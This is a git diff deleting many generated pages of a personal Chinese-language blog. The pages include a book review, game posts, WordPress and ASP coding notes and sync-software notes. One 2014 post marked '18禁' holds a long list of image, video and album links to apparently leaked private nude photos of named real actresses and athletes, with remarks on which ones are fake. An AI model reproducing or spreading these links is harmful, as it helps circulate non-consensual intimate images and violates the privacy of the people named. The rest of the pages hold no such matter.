    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-9b-b8-e7-b1-8d-e7-b4-85-e8-89-b2-e8-a6-ba-e9-86-92-e9-87-91-e8-89-b2-e5-90-8c-e7-9b-9f/index.html b/themes/public/article/e6-9b-b8-e7-b1-8d-e7-b4-85-e8-89-b2-e8-a6-ba-e9-86-92-e9-87-91-e8-89-b2-e5-90-8c-e7-9b-9f/index.html deleted file mode 100644 index 6ddd286f..00000000 --- a/themes/public/article/e6-9b-b8-e7-b1-8d-e7-b4-85-e8-89-b2-e8-a6-ba-e9-86-92-e9-87-91-e8-89-b2-e5-90-8c-e7-9b-9f/index.html +++ /dev/null @@ -1,413 +0,0 @@ - - - - - - - - - - [書籍]紅色覺醒 & 金色同盟 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [書籍]紅色覺醒 & 金色同盟

    -
    - - - 2015-12-21 - - - - - - - - - 未分類 - - - - - -
    - - -

    推薦指數:★★★★★★★★★★ (滿分!)

    - -

    在不透露劇情的前提下要推薦這本書還挺困難的!

    - -

    總之就是劇情高潮迭起~緊張刺激~

    - -

    大概跟血歌差不多等級!

    - -

    不過說真的,血歌的第三部曲真的有弱掉的感覺

    - -

    不過紅色覺醒和金色同盟這兩本看下來,沒有這種問題!

    - -

    雖然主角練功等級有點快  ,而且沒啥香豔刺激的情節

    - -

    不過書中各勢力的爾虞我詐、衝突鬥爭真的是很不錯!這點比血歌要好很多很多~

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-ad-a3-e5-a4-af-e7-9a-84-e4-b8-80-e4-ba-9b-e7-85-a7-e7-89-87-18-e7-a6-81/index.html b/themes/public/article/e6-ad-a3-e5-a4-af-e7-9a-84-e4-b8-80-e4-ba-9b-e7-85-a7-e7-89-87-18-e7-a6-81/index.html deleted file mode 100644 index 0d2d7bbc..00000000 --- a/themes/public/article/e6-ad-a3-e5-a4-af-e7-9a-84-e4-b8-80-e4-ba-9b-e7-85-a7-e7-89-87-18-e7-a6-81/index.html +++ /dev/null @@ -1,476 +0,0 @@ - - - - - - - - - - 正夯的一些照片....18禁 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    正夯的一些照片....18禁

    -
    - - - 2014-09-01 - - - - - - - - - 未分類 - - - - - -
    - - -

    (1)https://i.imgur.com/Y7HUX0v.png -(2)https://i.imgur.com/xj8Emskl.jpg -(3)https://i.imgur.com/dyxoGhY.jpg -(4)http://imgur.com/7qZFkv8 -(5)http://imgur.com/UwNeCNE -(6)https://i.imgur.com/DrCSLfO.jpg -(7)https://i.imgur.com/0FYuynM.jpg -(8)https://i.imgur.com/wDjdwGM.jpg -(9)https://i.imgur.com/gWF94YI.jpg -(10)https://i.imgur.com/8KpcQyw.jpg -(11)https://i.imgur.com/X3EVqlc.jpg -(12)https://i.imgur.com/SJ77XYA.jpg -(13)https://i.imgur.com/bOMtA4J.jpg -(14)https://i.imgur.com/n6JUCi3.jpg -(15)https://i.imgur.com/yjez7nq.jpg -(16)http://i.4cdn.org/b/1409549810769.jpg -(17)https://i.imgur.com/lv4xd3R.jpg (4chan is teasing everyone with this slow progress) -Kaley Cuoco -(1)https://i.imgur.com/5YTElcN.png -(2)http://imgur.com/GAZvyyv (super duper not-fake at all pic) -(2)http://i.4cdn.org/b/1409543949597.jpg *(a lot of people tell me it’s fake, but people got crazy when I took it down). -(3)https://i.4cdn.org/b/1409542521585.webm (gif) -Kate Upton: -(1)https://i.imgur.com/uhfwYp5.jpg -(2)https://i.imgur.com/A0x0LiL.png -(3)http://i.4cdn.org/b/1409531789722.jpg -(4) http://imgur.com/a/VVXGQ (Big Album, some random pics in there) -(6)http://www26.zippyshare.com/v/85491038/file.html (Videos) (Kate talking in first video, mostly random stuff) -(7)Kate Upton archive including videos -Victoria Justice: -(1)https://i.imgur.com/oAJbeud.jpg -(2)https://i.imgur.com/UGc8jyp.jpg -(3)http://s.imgur.com/a/maBQ5/zip (zip file) -(4)https://i.imgur.com/2Xwc4pl.jpg (sorry guys, it’s fake) -Lea Michele: -(1)https://i.imgur.com/rOCu45A.jpg -Ariana Grande: -(1)http://imgur.com/a/v8KMz (album) (probably fake as well) -(2)http://imgur.com/BwJiDIg (it’s fake, but people wanted it back for some reason) -Brie Larson: -(1)https://i.imgur.com/lNfRdz9.jpg -(2)https://i.imgur.com/58XtDh6.jpg -(3)https://i.imgur.com/Zk6RSRP.jpg -(4)https://i.imgur.com/IfQoCTz.jpg -(5)https://i.imgur.com/geBDadi.jpg -(6)http://imgur.com/a/Vqbkw (Complete album) -Kristen Dunst: -(1)http://imgur.com/a/7hhXe (album) -(2)http://imgur.com/a/mDr1Q (album) -Becca Tobin: -(1)http://imgur.com/iOKAgMn -(2)https://i.imgur.com/j7a39a1.jpg -(3)https://i.imgur.com/iOKAgMn.jpg -(4)https://i.imgur.com/8JDpulX.jpg -(5)https://i.imgur.com/7FAnUOh.jpg -Jessica Brown Findlay: -(1) https://i.imgur.com/hFuYYik.jpg -(2)https://mediacru.sh/1kTX0cLukqGJ (video) -(3)https://mediacru.sh/irb1NDIA_tyo (video) -(4)http://webcache.googleusercontent.com/search?q=cache:1gC5Xk5fuKsJ:https://vid.me/XM8+&cd=1&hl=en&ct=clnk&gl=us (video) -Hope Solo: -(1)https://i.imgur.com/LsbBcOO.jpg -Teresa Palmer: -(1)https://i.imgur.com/o2stBEj.jpg -(2)https://i.imgur.com/CdfBGyn.jpg -(3)http://imgur.com/a/qTOyn (album) -Kristen Ritter -(1)https://i.imgur.com/No2hWrNl.jpg -(2)http://m.imgur.com/a/EYcpS -Mary Elizabeth Winstead -(1)http://imgur.com/a/egWwF (album) -McKayla Maroney: -(1)https://i.imgur.com/qlpX7HF.jpg -(2)https://i.imgur.com/K8DdHzQ.jpg -Ali Michael: -(1)http://imgur.com/a/dFUK3 (album) -(2)http://s.imgur.com/a/SWQHw#0 (bigger album) -(3)http://www.gfycat.com/DenseBlandFinnishspitz (GIF) -(4)http://www.gfycat.com/ConfusedWholeHairstreak (GIF) -(5)http://www.gfycat.com/PresentBaggyAfricanjacana (GIF)

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-af-8f-e6-97-a5-e4-b8-80-e5-ad-97-cunt/index.html b/themes/public/article/e6-af-8f-e6-97-a5-e4-b8-80-e5-ad-97-cunt/index.html deleted file mode 100644 index 1a877854..00000000 --- a/themes/public/article/e6-af-8f-e6-97-a5-e4-b8-80-e5-ad-97-cunt/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - [每日一字] cunt | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-b8-ac-e8-a9-a6-nsx-autoposer-plugin-test/index.html b/themes/public/article/e6-b8-ac-e8-a9-a6-nsx-autoposer-plugin-test/index.html deleted file mode 100644 index f8a960ad..00000000 --- a/themes/public/article/e6-b8-ac-e8-a9-a6-nsx-autoposer-plugin-test/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - [測試] NSX AutoPoser Plugin test | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-b8-ac-e8-a9-a6-wordpress-e4-b8-ad14-e4-b8-aa-e5-ae-9e-e7-94-a8-e7-9a-84-e5-87-bd-e6-95-b0/index.html b/themes/public/article/e6-b8-ac-e8-a9-a6-wordpress-e4-b8-ad14-e4-b8-aa-e5-ae-9e-e7-94-a8-e7-9a-84-e5-87-bd-e6-95-b0/index.html deleted file mode 100644 index 04eab939..00000000 --- a/themes/public/article/e6-b8-ac-e8-a9-a6-wordpress-e4-b8-ad14-e4-b8-aa-e5-ae-9e-e7-94-a8-e7-9a-84-e5-87-bd-e6-95-b0/index.html +++ /dev/null @@ -1,475 +0,0 @@ - - - - - - - - - - [測試] WordPress中14个实用的函数 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [測試] WordPress中14个实用的函数

    -
    - - - 2016-01-06 - - - - - - - - - 未分類 - - - - - -
    - - - -
    分类:[WordPress内核](http://www.utubon.com/category/wpcore)
    -
    -
    -
    -**WordPress临时API** -
    set_transient(), get_transient(), delete_transient()
    -这个函数类似 于用于存储检索选项数据库表单的get_options()以及update_options()函数。 他们的主要区别在于,你可以给这个临时API函数传递一个时间参数,作为数据库输入的过期日。当参数显示的时间到达之后,输入会被移除。如果你需要缓存数 据或查询某个短期时间内的结果,这会是个相当有用的函数。 - -set_transient的参数: -
    set_transient($transient, $value, $expiration);
    -将某个值保留在数据库中一小时: -
    set_transient('the_name', $special_query_results, 60*60);
    -结果值: -
    $value = get_transient('the_name');
    -**WordPress “定时任务”函数** -
    wp_schedule_event(time(),?'hourly',?'my_schedule_hook');
    -如果你需要定时执行某段代码,像是检查RSS订阅、数据库备份或是重设数据库值等,就可以用到这个函数。[这里](http://themocracy.com/2010/02/wp-cron-automating-scheduling/)有一个关于这个函数的英文教程。 - -**WordPress HTTP API** -
    wp_remote_get(?$url,?$args?=?array()?);
    -这是个用于检索网页内容的简单函数。函数把检索结果存储在一个数组里。你不仅可以得到网页的结果内容,还可以获取网页的页头信息和相应代码。 - -**轻松获取RSS 订阅** -
    $feed?=?fetch_feed(?$uri?);
    -fetch_feed是一个用来获取订阅内容的简单WordPress函数。这个函数可以检索、分析并自动缓存订阅内容。 - -**WordPress邮件函数** -
    wp_mail()  wp_mail(?$to,?$subject,?$message,?$headers,?$attachments?);
    -示例: -
    Example:
    -$to = 'kriesi@gmail.com';
    -$subject = 'Hello Kriesi!';
    -$message = 'This message was sent by wordpress'
    -$mail = wp_mail($to, $subject, $message);
    -if($mail) echo 'Mail delivered';
    -相当简单实用的函数,利用这个函数你可以发送页头信息和附件、普通文本、HTML信息以及其他各种选项。 - -**计时函数** -
    human_time_diff( $from, $to )
    -这个函数显示出的时间效果不是普通的时间格式,而是“XXX发布于XXX小时前”这样。 - -**WordPress get_comments函数** -
    get_comments()
    -在评论循环外检索评论内容。 - -**字符串验证** -
    wp_kses($string, $allowed_html, $allowed_protocols);
    -如果你需要过滤不受信任的用户输入内容,wp_kses会是个很实用的函数。这个函数确保$string中只出现经许可的HTML元素名称、属性和属性值以及正常的HTML实体。 - -**WordPress文本转换** -
    wptexturize()
    -这个函数把常用的字符串转换成印刷时采用的正确符号,比如破折号、省略号等,有时也会为某些段落加上排版引号。 -
    wpautop()
    -给字符串添加<p>标签 - -**WordPress短码API** -
    add_shortcode(), do_shortcode()
    -add_shortcode()可以快速为你的日志内容创建宏。假设你希望把日志里的某些内容包围在一个div块里,并且加上若干类和id,让你可以创建多个内容栏。你可以用HTML编辑器进行编辑,然后输入下面的内容: -
    <div class='one_third'>内容</div>
    -**用PHP函数生成WordPress日志** -
    wp_insert_post()
    -这个函数在数据库中插入文章页面和自定义文章类型。它会过滤变量并执行检查,补充日期/时间等缺失变量。如果用户可以通过你的网站前台提交内容,这个函数会相当有帮助。 - -**用PHP函数生成WordPress评论** -
    wp_insert_comment()
    -和wp_insert_posts类似,不过wp_insert_comment插入的是评论。 - -**WordPress对象缓存** -
    wp_cache_add(),? wp_cache_set(),? wp_cache_get(),? wp_cache_delete, wp_cache_replace(), wp_cache_flush
    -WP_Object_Cache是WordPress中用以缓存数据的类。 - -**禁止执行WordPress任务** -
    wp_die()
    -wp_die终止WordPress运行,显示HTML错误信息。 - -这个函数与PHP函数die()互为补充。HTML信息显示给用户。推荐仅在进程不能再继续时才使用该函数。 - -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-91-aa-e5-a5-87-e7-b4-af-e7-ad-89-e7-b5-82-e6-96-bc-e4-b9-9f-e6-9c-89-e7-a0-b4-e8-90-ac-e7-9a-84-e4-b8-80-e5-a4-a9-ef-bc-81/index.html b/themes/public/article/e7-91-aa-e5-a5-87-e7-b4-af-e7-ad-89-e7-b5-82-e6-96-bc-e4-b9-9f-e6-9c-89-e7-a0-b4-e8-90-ac-e7-9a-84-e4-b8-80-e5-a4-a9-ef-bc-81/index.html deleted file mode 100644 index 7ff3ae6f..00000000 --- a/themes/public/article/e7-91-aa-e5-a5-87-e7-b4-af-e7-ad-89-e7-b5-82-e6-96-bc-e4-b9-9f-e6-9c-89-e7-a0-b4-e8-90-ac-e7-9a-84-e4-b8-80-e5-a4-a9-ef-bc-81/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - [瑪奇]累等終於也有破萬的一天! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [瑪奇]累等終於也有破萬的一天!

    -
    - - - 2013-03-21 - - - - - - - - - 瑪奇 - - - - - -
    - - -

    瑪奇開到現在應該是第八年了吧?

    - -

    中間因為被盜帳號停了一年多快兩年,還是因為幽的關係又回來了。

    - -

    回來之後多了影任,練等速度比起以前快上非常多..

    - -

    總之..就是簡單做個紀念而已…

    - -

     

    - -

    mabinogi_2013_03_19_001

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-91-aa-e5-a5-87-nt-99-e7-9a-844g-e5-a8-9c-e6-ad-90-e9-9a-a8-e8-ba-ab-e7-a2-9f/index.html b/themes/public/article/e7-91-aa-e5-a5-87-nt-99-e7-9a-844g-e5-a8-9c-e6-ad-90-e9-9a-a8-e8-ba-ab-e7-a2-9f/index.html deleted file mode 100644 index a3d1e074..00000000 --- a/themes/public/article/e7-91-aa-e5-a5-87-nt-99-e7-9a-844g-e5-a8-9c-e6-ad-90-e9-9a-a8-e8-ba-ab-e7-a2-9f/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [瑪奇] NT $99的4G 娜歐隨身碟 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [瑪奇] NT $99的4G 娜歐隨身碟

    -
    - - - 2013-03-29 - - - - - - - - - 瑪奇 - - - - - -
    - - -

    前幾天在PTT板上看到有鄉民介紹廠商在清之前的庫存,娜歐隨身碟一支只要 $99 !

    - -

    雖然沒有用到,不過還是順手就買了一支當作紀念!Big Smile

    - -

    底下是簡單幾張圖片,這東西也不必寫什麼說明了吧..

    - -

    隨身碟本身做得滿粗糙的,沒啥質感,圖樣也只是一般的平板印刷。總之,去掉娜歐不看的話,就是個便宜到掉在路上大概也沒人會撿的隨身碟..Big Boss

    - -

    img_0093

    - -

    img_0095

    - -

    img_0096

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-a2-8e-e7-a2-8e-e5-bf-b5-e5-9d-90-e5-9c-a8-e5-a0-b1-e9-a6-ac-e4-bb-94-e9-99-84-e8-bf-91-e5-af-a6-e5-9c-a8-e6-98-af-e5-be-88-e9-9b-96-e5-b0-8f-e7-9a-84-e4-b8-80-e4-bb-b6-e4-ba-8b/index.html b/themes/public/article/e7-a2-8e-e7-a2-8e-e5-bf-b5-e5-9d-90-e5-9c-a8-e5-a0-b1-e9-a6-ac-e4-bb-94-e9-99-84-e8-bf-91-e5-af-a6-e5-9c-a8-e6-98-af-e5-be-88-e9-9b-96-e5-b0-8f-e7-9a-84-e4-b8-80-e4-bb-b6-e4-ba-8b/index.html deleted file mode 100644 index d990ab94..00000000 --- a/themes/public/article/e7-a2-8e-e7-a2-8e-e5-bf-b5-e5-9d-90-e5-9c-a8-e5-a0-b1-e9-a6-ac-e4-bb-94-e9-99-84-e8-bf-91-e5-af-a6-e5-9c-a8-e6-98-af-e5-be-88-e9-9b-96-e5-b0-8f-e7-9a-84-e4-b8-80-e4-bb-b6-e4-ba-8b/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [碎碎念] 坐在報馬仔附近實在是很雖小的一件事 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-a2-8e-e7-a2-8e-e5-bf-b5-e7-b2-be-e7-a5-9e-e4-b8-8d-e5-a5-bd-e7-9a-84-e6-99-82-e5-80-99-ef-bc-8c-e4-b8-8d-e8-a6-81-e7-a0-8d-e6-aa-94-e6-88-96-e9-87-8d-e7-81-8cos/index.html b/themes/public/article/e7-a2-8e-e7-a2-8e-e5-bf-b5-e7-b2-be-e7-a5-9e-e4-b8-8d-e5-a5-bd-e7-9a-84-e6-99-82-e5-80-99-ef-bc-8c-e4-b8-8d-e8-a6-81-e7-a0-8d-e6-aa-94-e6-88-96-e9-87-8d-e7-81-8cos/index.html deleted file mode 100644 index 246efeaf..00000000 --- a/themes/public/article/e7-a2-8e-e7-a2-8e-e5-bf-b5-e7-b2-be-e7-a5-9e-e4-b8-8d-e5-a5-bd-e7-9a-84-e6-99-82-e5-80-99-ef-bc-8c-e4-b8-8d-e8-a6-81-e7-a0-8d-e6-aa-94-e6-88-96-e9-87-8d-e7-81-8cos/index.html +++ /dev/null @@ -1,418 +0,0 @@ - - - - - - - - - - [碎碎念]精神不好的時候,不要砍檔或重灌OS... | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [碎碎念]精神不好的時候,不要砍檔或重灌OS...

    -
    - - - 2013-03-11 - - - - - - - - - BLOG - - - - - -
    - - -

    本來BLOG放得好好的,雖然偶爾要重開,但是一直都沒出什麼大問題。

    - -

    今天為了要測試postfix 的Virtual Mail Box,雖然在公司內的VM跑起來了。

    - -

    但是畢竟沒有實際把MX給指進來,沒有真的運作,感覺不踏實。

    - -

    所以把DB先備份起來,接著就去VPS的Control Panel 給Reinstall了……

    - -

    - -

    But …… WTF !!

    - -

    我忘了要備份系統檔案啊!!啊只有DB File,雖然文章內容都在,但是圖片都沒了啊!!!(翻桌

    - -

    總之,現在就是一個全新的WP這樣,本來有把DB倒回來,但是沒有圖片,一堆叉燒包,難看死了。

    - -

    暫時先換新的布景試試看吧。

    - -

    至於舊的文章和圖片,看看家裡電腦會不會有那麼一瞇瞇機會有留備份下來…..

    - -

     

    - -

    update:家裡電腦也沒備份了….看來勢必要整個重來…順便研究一下看怎麼樣可以自動備份,把檔案丟去dropbox…

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-2/index.html b/themes/public/article/e7-ad-86-e8-a8-98-2/index.html deleted file mode 100644 index 7d584ea4..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-2/index.html +++ /dev/null @@ -1,451 +0,0 @@ - - - - - - - - - - [筆記] ASP在檔案中找出特定的文字,在之後寫入新的字串 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] ASP在檔案中找出特定的文字,在之後寫入新的字串

    -
    - - - 2013-11-01 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    Reference URL:http://forums.aspfree.com/code-bank-54/classic-asp-vbscript-write-into-specific-line-text-file-92390.html -> ##  Classic ASP/vbscript: write into specific line in text file -

    -
    -> The code below get file path and string to be written, andwrites the string into the specified file, in the given linenumber.The text is “pushed” in that line, pushing allother lines below.If the text file does not exist, it’s being created and thetext written as the first line.If the line number exceeds the amount of lines in the file,the text is written as the last line.Happy Programming! -> ->
    -> -> >
    Code:
    -> > -> >
    Sub WriteToFile(strFilePath, strData, iLineNumber)
    -> >
    -> >    Dim objFSO, objFile, arrLines
    -> >
    -> >    Dim strAllFile, x
    -> >
    -> >    Set objFSO=Server.CreateObject(“Scripting.FileSystemObject”)
    -> >
    -> >    strAllFile=“”
    -> >
    -> >    If objFSO.FileExists(strFilePath) Then
    -> >
    -> >       Set objFile=objFSO.OpenTextFile(strFilePath)
    -> >
    -> >       If Not(objFile.AtEndOfStream) Then
    -> >
    -> >          strAllFile = objFile.ReadAll
    -> >
    -> >       End If
    -> >
    -> >       objFile.Close
    -> >
    -> >    End If
    -> >
    -> >    arrLines = Split(strAllFile, VBCrLf)
    -> >
    -> >    Set objFile=objFSO.CreateTextFile(strFilePath)
    -> >
    -> >    For x=0 To UBound(arrLines)
    -> >
    -> >       If (iLineNumber-1)=x Then objFile.WriteLine(strData)
    -> >
    -> >       objFile.WriteLine(arrLines(x))
    -> >
    -> >    Next
    -> >
    -> >    If iLineNumber>=UBound(arrLines) Then objFile.WriteLine(strData)
    -> >
    -> >    objFile.Close
    -> >
    -> >    Set objFile=Nothing
    -> ->
    -
    -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-aerofs-e5-8f-88-e4-b8-80-e7-a8-ae-e8-b7-a8-e5-b9-b3-e5-8f-b0-e5-90-8c-e6-ad-a5-e8-bb-9f-e9-ab-94/index.html b/themes/public/article/e7-ad-86-e8-a8-98-aerofs-e5-8f-88-e4-b8-80-e7-a8-ae-e8-b7-a8-e5-b9-b3-e5-8f-b0-e5-90-8c-e6-ad-a5-e8-bb-9f-e9-ab-94/index.html deleted file mode 100644 index 039fdc56..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-aerofs-e5-8f-88-e4-b8-80-e7-a8-ae-e8-b7-a8-e5-b9-b3-e5-8f-b0-e5-90-8c-e6-ad-a5-e8-bb-9f-e9-ab-94/index.html +++ /dev/null @@ -1,452 +0,0 @@ - - - - - - - - - - [筆記] AeroFS - 又一種跨平台同步軟體 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] AeroFS - 又一種跨平台同步軟體

    -
    - - - 2013-11-04 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    早上在PTT看到某篇文章推文在講這個東西,好奇之下就跑去下載來玩玩看。

    - -

    簡單的說,這個軟體是「點對點」的同步軟體。

    - -

    不同於DROPBOX之類的「雲端同步」軟體,AeroFS在一般應用上,不需要先將檔案上傳到伺服器,只要有註冊帳號,

    - -

    在各個裝置上登入後,就會直接同步指定文件夾之內的資料。

    - -

    如果裝置都在LAN,那傳輸的速度就會是LAN的速度,不會像DROPBOX一樣,要先都丟去廠商的伺服器再抓回來!

    - -

    有多個裝置要同步,又不想多一次上傳的步驟,還有考慮資料傳輸安全性的需求,可以考慮用這軟體。

    - -

    - -

    安裝步驟很簡單,WINDOWS大概就是一直下一步,安裝的時候,在輸入帳號密碼視窗時,有個advanced的按鈕,

    - -

    點進去可以自行選擇要同步的目錄,或者在安裝完成以後再進入管理介面去修改也行。

    - -

    aerofs-01

    - -

     

    - -

     

    - -

    在要同步的電腦上都安裝、並指定同步目錄之後,只要是複製到這個目錄底下的檔案,就會自動同步到所有有安裝AEROFS程式並使用同個帳號登入的裝置上了。

    - -

    因為我在LAN裡面同步,速度太快了來不及截圖…不過在主程式中,有sync history可以瀏覽。

    - -

    aerofs-02

    - -

     

    - -

     

    - -

    同時也有Team Server,可以用在多人辦公環境,1-3人免費,再上去就要付費使用了。

    - -

    一個帳號10 USD/month ,還算挺貴的….

    - -

    目前找到免費、可多人使用、支援中央伺服器的,大概只有tonido / owncloud了..

    - -

    aerofs-03

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-afterlogic-webmail-lite-e5-ae-89-e8-a3-9d-e8-a8-ad-e5-ae-9a/index.html b/themes/public/article/e7-ad-86-e8-a8-98-afterlogic-webmail-lite-e5-ae-89-e8-a3-9d-e8-a8-ad-e5-ae-9a/index.html deleted file mode 100644 index 6921e708..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-afterlogic-webmail-lite-e5-ae-89-e8-a3-9d-e8-a8-ad-e5-ae-9a/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [筆記] AfterLogic Webmail Lite 安裝後設定 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] AfterLogic Webmail Lite 安裝後設定

    -
    - - - 2016-03-04 - - - - - - - - - 其他 - - - - - -
    - - -

    這個要改成 On

    - -

    才會把丟去mail server 驗證的帳號改成只有 username

    - -

    如果是 Off ,會丟整串 username@abc.com

    - -

    <UseLoginWithoutDomain>On</UseLoginWithoutDomain>

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-asp-e4-ba-82-e6-95-b8-e9-99-a3-e5-88-97/index.html b/themes/public/article/e7-ad-86-e8-a8-98-asp-e4-ba-82-e6-95-b8-e9-99-a3-e5-88-97/index.html deleted file mode 100644 index 8248499c..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-asp-e4-ba-82-e6-95-b8-e9-99-a3-e5-88-97/index.html +++ /dev/null @@ -1,429 +0,0 @@ - - - - - - - - - - [筆記] ASP 亂數陣列 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] ASP 亂數陣列

    -
    - - - 2015-01-22 - - - - - - - - - 未分類 - - - - - -
    - - -

    尾牙可能會用到…

    - -

    簡單說就是XX排序,不過我忘記那個名詞了.. (bubble ? ) -> dim myarray(60) -> -> for i = 1 to 60 -> -> myarray(i) = i -> -> Next -> -> for j = 1 to 59 -> -> randomize -> -> j1 = Int((60-1+1) * Rnd +1 ) -> -> k1 = Int((60-1-1)*Rnd+1) -> -> t1 = myarray(j1) -> -> myarray(j1) = myarray(k1) -> -> myarray(k1) = t1 -> -> Next - 

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
